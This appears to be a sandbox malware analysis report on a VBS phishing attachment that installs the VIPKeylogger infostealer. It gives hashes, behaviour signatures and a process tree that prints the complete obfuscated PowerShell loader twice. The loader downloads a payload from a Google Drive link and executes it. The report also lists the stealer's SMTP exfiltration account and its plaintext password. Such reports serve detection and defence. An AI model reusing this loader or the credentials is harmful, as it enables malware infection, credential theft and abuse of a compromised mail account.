Analysis
-
max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
04/11/2024, 06:58
General
-
Target
Request for Quotation MK FMHSRFQ241104.vbs
-
Size
27KB
-
MD5
c60635c4c50b8f387ce0e639dd9eaa46
-
SHA1
5d291ffbe72460f9add7ecfeea6ddda021a6fe06
-
SHA256
d7d87050073e14ea054e3d2bf7f7b7335a30af2d640b7b9baf87b175a64a4cf2
-
SHA512
69bf250e11dc07a46c9d889c7c82c5ae2ec7dde671483a9032251d3264a286fe7a1ef381bc645170ae8f846175737c2f03b25a466e32ea15187f566da038865e
-
SSDEEP
384:7VsZvfnmuB6Z3ncehRM7v4Rk98oBhMWCfyNy19lS:RsFmuB+35E4+TBhnIyNy19lS
Score
10/10
Malware Config
Extracted
Family
vipkeylogger
Credentials
Protocol: smtp- Host:
mail.itagres.com.my - Port:
587 - Username:
[email protected] - Password:
nana2106 - Email To:
[email protected]
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Blocklisted process makes network request 11 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for Quotation MK FMHSRFQ241104.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Lhunds manipulationer Afstningsvilkaar Storkunder Overarbejdsbetalingernes Unarchly #>;$Knivoverfald186='Regeres';<#Ultraevangelical Remorses Divulgating #>; function Andelens($Maalevrdier){If ($host.DebuggerEnabled) {$Barramundis++;}$Studieformens=$Refertilises+$Maalevrdier.'Length' - $Barramundis; for ( $Momo=5;$Momo -lt $Studieformens;$Momo+=6){$Behjlpeligt=$Momo;$Ortodoksi+=$Maalevrdier[$Momo];}$Ortodoksi;}function Wi35($Baandlagde){ & ($uerstattelighed) ($Baandlagde);}$Forthfare=Andelens 'CritiM IrraoAutorzKern iRigsel ustel TokoaJager/W.nte ';$Repulse=Andelens ' upraTAaleglterrasFiske1Diazo2Enhan ';$Nontheological=' Da d[V entnglegne ow.eTDra.s.TaaresVrtdyeParalrSprjtvSolstIB nneCHalmkEDiaskPmassioBirdwi AbstNBortft BeaumAlmenaSouffnnongea HexaG OphiE nemoREpila]a vas:Dybva: frems DepueMaanecTot lUProprrHusleiBol.ttD fenY bsurPTrirhR,erdsOFantatindekOTyphac BegrOO.yetlVidd = univ$ ,ortrudsklE Kri.pFo,fiu Ge,oLTenenSStorkEAtlee ';$Forthfare+=Andelens 'Lokal5 Solf.T,nin0 lips Freeh(AnselWKran.iItalinVarebd.orteoBayonwTe,cosUnder ,echaNSknl Ttnkso Aager1Tanta0Brn,o. p ed0Trans; Deso LivmoW Hemii Hni,nOpskr6Svrme4Atten; nstb mildnx,legn6W ndo4Coher; Ge,i UdholrVandfv omdi:Sen,i1Trans3Netta1Unsch.Sent.0Sags )Dataf RecupG P rle SclecReoutkbundmoGe,ch/ Udvi2Bookm0Hgtet1Tet.s0Uudsl0Bun,t1Brav 0Isoba1Vandu RevyeF Tal iWar ar.saroe arbfTyndto LangxFor,r/Produ1 Skru3Sporo1Fraad. Amin0 Yl.t ';$widest=Andelens 'Bd fouOphthsspankenapalrTunge-GasolATelegGEtateEEffeknSvvebTBound ';$Tilfrselsvejen=Andelens 'LoganhAloyst Const UndepJernssAf,er:Konti/Erons/Fos.edOpspyruns ri R akvDepopeVoy g.HofdagProleoBarito suregPeberlAmoree Rbdi.Ud ikcPleacoAngulmFj rb/TungmuPrevecFedtp?IcicleDommexJiggep.bfusoContrrLegi,tamalg=Sdmefdstando iktuwHjrehnBrevsl FageoVe,etaClau.dSplit&HandliPitmad .esp=Dknin1 Spli0FactiD ThrauActivUReuss5ForbrHGiltysD,sce-,sgngAOverlFDr bal MarkQInexotBeskf5 Jent6BlousaAdh,mG Grn 6StartUGradu6BemaloSpiri5SpritYStransM dta2UnderrScaleMPhen 7,arkl8 eol-Mode n etup2 Anta ';$Televsner=Andelens 'manch>Vrdih ';$uerstattelighed=Andelens 'Vi,diigav,eESpejlx Indi ';$Chabutra='Agglutinerings';$Bisektionen='\Tandlges.run';Wi35 (Andelens ' aden$BaraiG kommlFredsO TingbRadreaDilatl Non : VrdilArildl HoejEUdvinrProg sKloak=Spear$SelvmeEstraNReprovOms,r:halfaa Bar.pReoppPNardodCentgaSuba,TI.lina,ests+Retou$Supp bAppelIGonersPaleoEVa dsK Vid t AfpaIRund OT.nganOptraEBlodpNBaden ');Wi35 (Andelens 'E tra$AsierGShel LDuperoK.klob,sksjaUkuralGriot:G denBAccepiFuscelDovefLCo coE NuzzdFjernFTutteL TenoaDisheDInfaneAftgtnVerte=Batbo$Parant Rea,i SammLNe.roFPrvesrSpejdSfotomeFravalTambosEssv VSirupeNoninJ earwEConchNUnphi. UnfesUnreppVi roLfo tiI HenstCh,rp( rchi$Doi.ktAntnde diotlProleErudesVForkrsEnf,cNSkoleeCubagr Hexa)Datoe ');Wi35 (Andelens $Nontheological);$Tilfrselsvejen=$Billedfladen[0];$Superorganic=(Andelens 'Rumso$ JackGAnnonLS.erlOPantebHavfiaUnd,rlColle:Zoog,TPer srSatyrI ThroHPe agYTinghpHumoroCinemS FremtLor lAByn.et Whe,iAmtsscPri.s= WadsnTe.ateNaalewStude-AlluvOUnpenbReverJNonalEOtidecV,diaTsc,te Fred sKarusyNedstS DemoTMi,iteReposmBride. PalennotateBeboetLoyal.Labi W ToesesymboBUndgaC VinkL Raavi Neb,EFravnnShr lTFog o ');Wi35 ($Superorganic);Wi35 (Andelens 'fjant$m,mmiTSkindrSkif,iArbejhJesuiyPerisps dagoBack sWillot Vitia ef et UnariLandscHos.l.H vedH NonpeCl ngaTwingdCyst,e Trykr nluxsRasp [Paste$Peritw,riptiBrnd dFrisueGelatsKorretAntim] Klip=K,abb$ s okFS,orkogriser I,prtInfamhUn,cafFlusma K,anrReligesjokk ');$Windowward=Andelens 'Ledel$LantuTLat.ir Genei.orskh C toysylv pAs.ndosamfusChifftChutnaSkullt Gro i M tic Lrer. VinkDThallo Enkew udmenGruekl RetioSknheaRea ad sdmlFc.mshi ApprlPri geSalgs(vacci$Alb,mTTadbhiClintlProspf SiffrOroh,sUnsupeRengrlDic,asSynlivInf reoversjOoidae nhomnBrist, arsi$P iesK roomlFluoraEnebopSpears InteaStat.ldepolvYlette,implrcholanKnappeYoupusTsilu)Hotro ';$Klapsalvernes=$Llers;Wi35 (Andelens ' Tikk$StorkG Navnl,ongho,nsolbV,tteAHippolAflbs:Adre BSmagseHeneqNacc rtAntrasMye.oTint laSebasRConve=Arbej(PretetTjek EAntisSShriltSphen-StivnpIn olABalenTUndivhInter Cirke$ GearkKkkenLSortsA inimpCondiSMekanARus,el dfriv TvaneSurenrSkri n DarkEDavaes Scuf) Malt ');while (!$bentstar) {Wi35 (Andelens 'Crapf$sortig kriblUnbe.o CiffbEnganaBeskylrigsh: SpioBBuninrP akeiPrer aTaeninNicoto.lokk=Formu$pro.ftMandsrD cryuAfbraePalim ') ;Wi35 $Windowward;Wi35 (Andelens 'InkhosyokeaTPiperAAwnerRAfgraTSumle-Nonelsfyr ulAn,tieEkstre Anaepamino Kontr4Ph to ');Wi35 (Andelens 'Multi$GrammGBruttLRytmiOSpe.tbRevseAM.liulrasp,:Unsofb Up yEKloakNSynsrTBipheSTttryT,ridia SmasRLepis=Fl,es(Aureat.huntE W oms TyndTGrazi-EbullPNatteaLordlt eminhBrief Bika $Genv KAffixLLabouAK rimPC okeSNaphtaRdselLRemagVErstaeBeskar Erk NUnh.geNoncosR.ako)Dmrin ') ;Wi35 (Andelens 'Lo.ik$ LodggAnti.lChondO Ba lBfrakraCr,uplTempt:PreseEProtoNOmlgmtVitt OAstraMArterbProteSBlusn= Fala$tiltrgKetchlOptogoPnigeb kokeaForholAlbat: UngeNDekupOValgeNUnderf Di lO.emorRMelleTDelisIGenerFSjakaYEquipiVerfentutiogAdres+Ti st+Check% alst$ CrypbTakk iC anklSinecl uthE RedoDIs eiFGir nlBlodpaUnworDBelaaE usfNScaff.TawdrCInterONonarUBun fn oolT Hjej ') ;$Tilfrselsvejen=$Billedfladen[$Entombs];}$Jvnfringernes=325937;$Coleur=30324;Wi35 (Andelens 'Oksek$Presbgind vL DiscOStrabBB arbaSelskLBruds:Circub pgerAA bettNontrTRdsptEAffedR p,peiCo.aldIridorAntioeKejs,V AceteDriveN Ka e .nnu=Halvo bo tigF.lkeE Be.uTEngro-KagencKamseoUddatNBattlTOptagEDeklaNunderTForsk Tota.$Ke,elK,oignLSynk.a ProdPOvervSAutodAHe phl HydrV ApriEGrnseRRokken Mer EConsts ar.o ');Wi35 (Andelens 'Emero$Oplaeg erlilP ovio Guyab UnacaNonunlK ble: SnevAVarmecAandeh PhreaM,skeeSkru tPragtoN,kasuPorors opl Phone= Helt Firci[BrndeS bio yBr dbsFonzwt edrieServim entr.FedmeC .eleo BluenFissuv ,xyleBortorIntantBille] B,aa:Pragm:InstiFSrverrSema.ogrib.mBankkB allea asogsmotioeEnric6Polit4,orkeS TudetUdskirscleriRoquenPaafrgFejls(Kin,m$Su soBRes.raAwok,t MusktDed.ceN nmarquateiKl indMountrSprineS,wbiv Sinie,allonSnakk)dravi ');Wi35 (Andelens 'Papin$WhosogCy.selKapgaoServobCol oa.onohL alan:KlgtirAut ceSpineiPaperN SeybdJack e PrepbShaultTighte MarcDepidi Forb=Princ Adju,[Ov.rrsKlvasY ventSSttyst CitieBelejMGribb.Vide tL tteeC lorxOvereTGumpe. KollEEyeshnSd,licConceoGloridHid iIHelheNMet ogTal.s]balal:Kloak: Ope,aFustis BlebcPitheiSkyldileve .BonviG.riteeSt nkTArb jSCerebT S lvRClearITaagnNm sseGRoma (Bigge$ beraForblcKal,bh SparaSandsECyclotNecreO drilUcellisO.erf)Uncir ');Wi35 (Andelens ' pump$ Pre.G,trstLT esso aobaBBldsdA assalSpart:AerohBPail O BereNBla,tdMantieJumpisPatrotshopku NedrESjaks=Marki$LodemRPe thEFejluIPicktNSagsadUvej.e rrevbU akntA,quiePhonoDParoc. iameSTomatUPr,vebEolips V,irTFly iRPseudi EftenPrecogForbr(Gte n$PsychJStik vTentiNBjancfB achRAde,sI Emuln Indug Tj eE StrurKonstnCorreEVrideS Neoe,J bil$Du,drcPaed o SenrLM lioE,erriuL kalRPatho) Re.d ');Wi35 $Bondestue;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Lhunds manipulationer Afstningsvilkaar Storkunder Overarbejdsbetalingernes Unarchly #>;$Knivoverfald186='Regeres';<#Ultraevangelical Remorses Divulgating #>; function Andelens($Maalevrdier){If ($host.DebuggerEnabled) {$Barramundis++;}$Studieformens=$Refertilises+$Maalevrdier.'Length' - $Barramundis; for ( $Momo=5;$Momo -lt $Studieformens;$Momo+=6){$Behjlpeligt=$Momo;$Ortodoksi+=$Maalevrdier[$Momo];}$Ortodoksi;}function Wi35($Baandlagde){ & ($uerstattelighed) ($Baandlagde);}$Forthfare=Andelens 'CritiM IrraoAutorzKern iRigsel ustel TokoaJager/W.nte ';$Repulse=Andelens ' upraTAaleglterrasFiske1Diazo2Enhan ';$Nontheological=' Da d[V entnglegne ow.eTDra.s.TaaresVrtdyeParalrSprjtvSolstIB nneCHalmkEDiaskPmassioBirdwi AbstNBortft BeaumAlmenaSouffnnongea HexaG OphiE nemoREpila]a vas:Dybva: frems DepueMaanecTot lUProprrHusleiBol.ttD fenY bsurPTrirhR,erdsOFantatindekOTyphac BegrOO.yetlVidd = univ$ ,ortrudsklE Kri.pFo,fiu Ge,oLTenenSStorkEAtlee ';$Forthfare+=Andelens 'Lokal5 Solf.T,nin0 lips Freeh(AnselWKran.iItalinVarebd.orteoBayonwTe,cosUnder ,echaNSknl Ttnkso Aager1Tanta0Brn,o. p ed0Trans; Deso LivmoW Hemii Hni,nOpskr6Svrme4Atten; nstb mildnx,legn6W ndo4Coher; Ge,i UdholrVandfv omdi:Sen,i1Trans3Netta1Unsch.Sent.0Sags )Dataf RecupG P rle SclecReoutkbundmoGe,ch/ Udvi2Bookm0Hgtet1Tet.s0Uudsl0Bun,t1Brav 0Isoba1Vandu RevyeF Tal iWar ar.saroe arbfTyndto LangxFor,r/Produ1 Skru3Sporo1Fraad. Amin0 Yl.t ';$widest=Andelens 'Bd fouOphthsspankenapalrTunge-GasolATelegGEtateEEffeknSvvebTBound ';$Tilfrselsvejen=Andelens 'LoganhAloyst Const UndepJernssAf,er:Konti/Erons/Fos.edOpspyruns ri R akvDepopeVoy g.HofdagProleoBarito suregPeberlAmoree Rbdi.Ud ikcPleacoAngulmFj rb/TungmuPrevecFedtp?IcicleDommexJiggep.bfusoContrrLegi,tamalg=Sdmefdstando iktuwHjrehnBrevsl FageoVe,etaClau.dSplit&HandliPitmad .esp=Dknin1 Spli0FactiD ThrauActivUReuss5ForbrHGiltysD,sce-,sgngAOverlFDr bal MarkQInexotBeskf5 Jent6BlousaAdh,mG Grn 6StartUGradu6BemaloSpiri5SpritYStransM dta2UnderrScaleMPhen 7,arkl8 eol-Mode n etup2 Anta ';$Televsner=Andelens 'manch>Vrdih ';$uerstattelighed=Andelens 'Vi,diigav,eESpejlx Indi ';$Chabutra='Agglutinerings';$Bisektionen='\Tandlges.run';Wi35 (Andelens ' aden$BaraiG kommlFredsO TingbRadreaDilatl Non : VrdilArildl HoejEUdvinrProg sKloak=Spear$SelvmeEstraNReprovOms,r:halfaa Bar.pReoppPNardodCentgaSuba,TI.lina,ests+Retou$Supp bAppelIGonersPaleoEVa dsK Vid t AfpaIRund OT.nganOptraEBlodpNBaden ');Wi35 (Andelens 'E tra$AsierGShel LDuperoK.klob,sksjaUkuralGriot:G denBAccepiFuscelDovefLCo coE NuzzdFjernFTutteL TenoaDisheDInfaneAftgtnVerte=Batbo$Parant Rea,i SammLNe.roFPrvesrSpejdSfotomeFravalTambosEssv VSirupeNoninJ earwEConchNUnphi. UnfesUnreppVi roLfo tiI HenstCh,rp( rchi$Doi.ktAntnde diotlProleErudesVForkrsEnf,cNSkoleeCubagr Hexa)Datoe ');Wi35 (Andelens $Nontheological);$Tilfrselsvejen=$Billedfladen[0];$Superorganic=(Andelens 'Rumso$ JackGAnnonLS.erlOPantebHavfiaUnd,rlColle:Zoog,TPer srSatyrI ThroHPe agYTinghpHumoroCinemS FremtLor lAByn.et Whe,iAmtsscPri.s= WadsnTe.ateNaalewStude-AlluvOUnpenbReverJNonalEOtidecV,diaTsc,te Fred sKarusyNedstS DemoTMi,iteReposmBride. PalennotateBeboetLoyal.Labi W ToesesymboBUndgaC VinkL Raavi Neb,EFravnnShr lTFog o ');Wi35 ($Superorganic);Wi35 (Andelens 'fjant$m,mmiTSkindrSkif,iArbejhJesuiyPerisps dagoBack sWillot Vitia ef et UnariLandscHos.l.H vedH NonpeCl ngaTwingdCyst,e Trykr nluxsRasp [Paste$Peritw,riptiBrnd dFrisueGelatsKorretAntim] Klip=K,abb$ s okFS,orkogriser I,prtInfamhUn,cafFlusma K,anrReligesjokk ');$Windowward=Andelens 'Ledel$LantuTLat.ir Genei.orskh C toysylv pAs.ndosamfusChifftChutnaSkullt Gro i M tic Lrer. VinkDThallo Enkew udmenGruekl RetioSknheaRea ad sdmlFc.mshi ApprlPri geSalgs(vacci$Alb,mTTadbhiClintlProspf SiffrOroh,sUnsupeRengrlDic,asSynlivInf reoversjOoidae nhomnBrist, arsi$P iesK roomlFluoraEnebopSpears InteaStat.ldepolvYlette,implrcholanKnappeYoupusTsilu)Hotro ';$Klapsalvernes=$Llers;Wi35 (Andelens ' Tikk$StorkG Navnl,ongho,nsolbV,tteAHippolAflbs:Adre BSmagseHeneqNacc rtAntrasMye.oTint laSebasRConve=Arbej(PretetTjek EAntisSShriltSphen-StivnpIn olABalenTUndivhInter Cirke$ GearkKkkenLSortsA inimpCondiSMekanARus,el dfriv TvaneSurenrSkri n DarkEDavaes Scuf) Malt ');while (!$bentstar) {Wi35 (Andelens 'Crapf$sortig kriblUnbe.o CiffbEnganaBeskylrigsh: SpioBBuninrP akeiPrer aTaeninNicoto.lokk=Formu$pro.ftMandsrD cryuAfbraePalim ') ;Wi35 $Windowward;Wi35 (Andelens 'InkhosyokeaTPiperAAwnerRAfgraTSumle-Nonelsfyr ulAn,tieEkstre Anaepamino Kontr4Ph to ');Wi35 (Andelens 'Multi$GrammGBruttLRytmiOSpe.tbRevseAM.liulrasp,:Unsofb Up yEKloakNSynsrTBipheSTttryT,ridia SmasRLepis=Fl,es(Aureat.huntE W oms TyndTGrazi-EbullPNatteaLordlt eminhBrief Bika $Genv KAffixLLabouAK rimPC okeSNaphtaRdselLRemagVErstaeBeskar Erk NUnh.geNoncosR.ako)Dmrin ') ;Wi35 (Andelens 'Lo.ik$ LodggAnti.lChondO Ba lBfrakraCr,uplTempt:PreseEProtoNOmlgmtVitt OAstraMArterbProteSBlusn= Fala$tiltrgKetchlOptogoPnigeb kokeaForholAlbat: UngeNDekupOValgeNUnderf Di lO.emorRMelleTDelisIGenerFSjakaYEquipiVerfentutiogAdres+Ti st+Check% alst$ CrypbTakk iC anklSinecl uthE RedoDIs eiFGir nlBlodpaUnworDBelaaE usfNScaff.TawdrCInterONonarUBun fn oolT Hjej ') ;$Tilfrselsvejen=$Billedfladen[$Entombs];}$Jvnfringernes=325937;$Coleur=30324;Wi35 (Andelens 'Oksek$Presbgind vL DiscOStrabBB arbaSelskLBruds:Circub pgerAA bettNontrTRdsptEAffedR p,peiCo.aldIridorAntioeKejs,V AceteDriveN Ka e .nnu=Halvo bo tigF.lkeE Be.uTEngro-KagencKamseoUddatNBattlTOptagEDeklaNunderTForsk Tota.$Ke,elK,oignLSynk.a ProdPOvervSAutodAHe phl HydrV ApriEGrnseRRokken Mer EConsts ar.o ');Wi35 (Andelens 'Emero$Oplaeg erlilP ovio Guyab UnacaNonunlK ble: SnevAVarmecAandeh PhreaM,skeeSkru tPragtoN,kasuPorors opl Phone= Helt Firci[BrndeS bio yBr dbsFonzwt edrieServim entr.FedmeC .eleo BluenFissuv ,xyleBortorIntantBille] B,aa:Pragm:InstiFSrverrSema.ogrib.mBankkB allea asogsmotioeEnric6Polit4,orkeS TudetUdskirscleriRoquenPaafrgFejls(Kin,m$Su soBRes.raAwok,t MusktDed.ceN nmarquateiKl indMountrSprineS,wbiv Sinie,allonSnakk)dravi ');Wi35 (Andelens 'Papin$WhosogCy.selKapgaoServobCol oa.onohL alan:KlgtirAut ceSpineiPaperN SeybdJack e PrepbShaultTighte MarcDepidi Forb=Princ Adju,[Ov.rrsKlvasY ventSSttyst CitieBelejMGribb.Vide tL tteeC lorxOvereTGumpe. KollEEyeshnSd,licConceoGloridHid iIHelheNMet ogTal.s]balal:Kloak: Ope,aFustis BlebcPitheiSkyldileve .BonviG.riteeSt nkTArb jSCerebT S lvRClearITaagnNm sseGRoma (Bigge$ beraForblcKal,bh SparaSandsECyclotNecreO drilUcellisO.erf)Uncir ');Wi35 (Andelens ' pump$ Pre.G,trstLT esso aobaBBldsdA assalSpart:AerohBPail O BereNBla,tdMantieJumpisPatrotshopku NedrESjaks=Marki$LodemRPe thEFejluIPicktNSagsadUvej.e rrevbU akntA,quiePhonoDParoc. iameSTomatUPr,vebEolips V,irTFly iRPseudi EftenPrecogForbr(Gte n$PsychJStik vTentiNBjancfB achRAde,sI Emuln Indug Tj eE StrurKonstnCorreEVrideS Neoe,J bil$Du,drcPaed o SenrLM lioE,erriuL kalRPatho) Re.d ');Wi35 $Bondestue;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5d4ff23c124ae23955d34ae2a7306099a
SHA1b814e3331a09a27acfcd114d0c8fcb07957940a3
SHA2561de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87
SHA512f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
463KB
MD5d280662484f64b0bc04eadb55f3f653d
SHA16fa96508eaa10dd46c237264c84dd74f6b93e560
SHA256918e001e0fc4565e223fb31aa85c544e655188209508ec20787e6bffe51b3cad
SHA5121b8ddff995d5df60ef9e00cdbae5464adf479958008fa3f2a06b637b01db4471a3d558ffbee23cdab05eb25986de013ca925e5ba72d03ce54f7371de35b75534
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
18.3MB
-
Filesize
288KB
-
Filesize
65.8MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
6.2MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
6.5MB
-
Filesize
104KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
216KB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
136KB